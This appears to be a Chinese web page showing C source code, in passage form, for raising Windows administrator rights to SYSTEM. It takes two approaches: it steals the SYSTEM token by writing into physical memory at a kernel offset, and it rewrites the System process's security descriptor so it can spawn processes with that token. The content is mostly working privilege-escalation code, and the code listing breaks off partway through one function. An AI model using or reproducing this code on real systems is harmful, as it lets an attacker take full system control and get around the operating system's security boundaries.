📄 管理员组获取系统权限的完美解决方案.html
字号:
if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET)) <br />
== GetData((PVOID)(SystemEprocess+TOKEN_OFFSET)) <br />
) <br />
// It is so surprised that SYSTEM's Token always in changing. <br />
// So before create new process, we should ensure the TOKEN is all right<br />
{<br />
ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL);<br />
}<br />
UnmapViewOfFile(g_pMapPhysicalMemory);<br />
CloseHandle(g_hMPM);<br />
CloseNTDLL();<br />
<br />
return 0;<br />
}<br />
<br />
<br />
<br />
在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).<br />
<br />
=========================================================================================================<br />
第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。<br />
这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。<br />
用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".<br />
<br />
下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:<br />
<br />
#include <windows.h><br />
#include <stdio.h><br />
#include <Tlhelp32.h><br />
#include <AccCtrl.h><br />
#include <Aclapi.h><br />
#include <wtsapi32.h><br />
<br />
#pragma comment(lib, "wtsapi32")<br />
<br />
HANDLE OpenSystemProcess()<br />
{<br />
HANDLE hSnapshot = NULL;<br />
HANDLE hProc = NULL;<br />
<br />
__try<br />
{<br />
// Get a snapshot of the processes in the system<br />
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br />
if (hSnapshot == NULL)<br />
{<br />
printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");<br />
__leave;<br />
}<br />
<br />
PROCESSENTRY32 pe32;<br />
pe32.dwSize = sizeof(pe32);<br />
<br />
// Find the "System" process<br />
BOOL fProcess = Process32First(hSnapshot, &pe32);<br />
while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))<br />
fProcess = Process32Next(hSnapshot, &pe32);<br />
if (!fProcess)<br />
{<br />
printf("OpenSystemProcess Not Found SYSTEM");<br />
__leave; // Didn't find "System" process<br />
}<br />
<br />
// Open the process with PROCESS_QUERY_INFORMATION access<br />
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,<br />
pe32.th32ProcessID);<br />
if (hProc == NULL)<br />
{<br />
printf("OpenSystemProcess OpenProcess Failed");<br />
__leave;<br />
}<br />
} <br />
__finally<br />
{<br />
// Cleanup the snapshot<br />
if (hSnapshot != NULL)<br />
CloseHandle(hSnapshot);<br />
return(hProc);<br />
}<br />
}<br />
<br />
BOOL EnablePrivilege (PCSTR name)<br />
{<br />
HANDLE hToken;<br />
BOOL rv;<br />
<br />
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };<br />
LookupPrivilegeValue (<br />
0,<br />
name,<br />
&priv.Privileges[0].Luid<br />
);<br />
<br />
OpenProcessToken(<br />
GetCurrentProcess (),<br />
TOKEN_ADJUST_PRIVILEGES,<br />
&hToken<br />
);<br />
<br />
AdjustTokenPrivileges (<br />
hToken,<br />
FALSE,<br />
&priv,<br />
sizeof priv,<br />
0,<br />
0<br />
);<br />
rv = GetLastError () == ERROR_SUCCESS;<br />
<br />
CloseHandle (hToken);<br />
return rv;<br />
}<br />
<br />
#define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))<br />
<br />
BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess) <br />
{<br />
PACL pAcl = NULL;<br />
PACL pNewAcl = NULL;<br />
PACL pSacl = NULL;<br />
PSID pSidOwner = NULL;<br />
PSID pSidPrimary = NULL;<br />
BOOL fSuccess = TRUE;<br />
<br />
PSECURITY_DESCRIPTOR pSD = NULL;<br />
<br />
__try <br />
{<br />
// Find the length of the security object for the kernel object<br />
DWORD dwSDLength;<br />
if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,<br />
&dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))<br />
{<br />
printf("ModifySecurity GetKernelObjectSecurity Size Failed");<br />
__leave;<br />
}<br />
<br />
// Allocate a buffer of that length<br />
pSD = LocalAlloc(LPTR, dwSDLength);<br />
if (pSD == NULL)<br />
{<br />
printf("ModifySecurity LocalAlloc Failed");<br />
__leave;<br />
}<br />
<br />
// Retrieve the kernel object<br />
if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,<br />
dwSDLength, &dwSDLength))<br />
{<br />
printf("ModifySecurity GetKernelObjectSecurity Failed");<br />
__leave;<br />
}<br />
<br />
// Get a pointer to the DACL of the SD<br />
BOOL fDaclPresent;<br />
BOOL fDaclDefaulted;<br />
if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,<br />
&fDaclDefaulted))<br />
{<br />
printf("ModifySecurity GetSecurityDescriptorDacl Failed");<br />
__leave;<br />
}<br />
<br />
// Get the current user's name<br />
TCHAR szName[1024];<br />
DWORD dwLen = chDIMOF(szName);<br />
if (!GetUserName(szName, &dwLen))<br />
{<br />
printf("ModifySecurity GetUserName Failed");<br />
__leave;<br />
}<br />
<br />
// Build an EXPLICIT_ACCESS structure for the ace we wish to add.<br />
EXPLICIT_ACCESS ea;<br />
BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);<br />
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;<br />
<br />
// We are allocating a new ACL with a new ace inserted. The new<br />
// ACL must be LocalFree'd<br />
if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl)) <br />
{<br />
printf("ModifySecurity SetEntriesInAcl Failed");<br />
pNewAcl = NULL;<br />
__leave;<br />
}<br />
<br />
// Find the buffer sizes we would need to make our SD absolute<br />
pAcl = NULL;<br />
dwSDLength = 0;<br />
DWORD dwAclSize = 0;<br />
DWORD dwSaclSize = 0;<br />
DWORD dwSidOwnLen = 0;<br />
DWORD dwSidPrimLen = 0;<br />
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -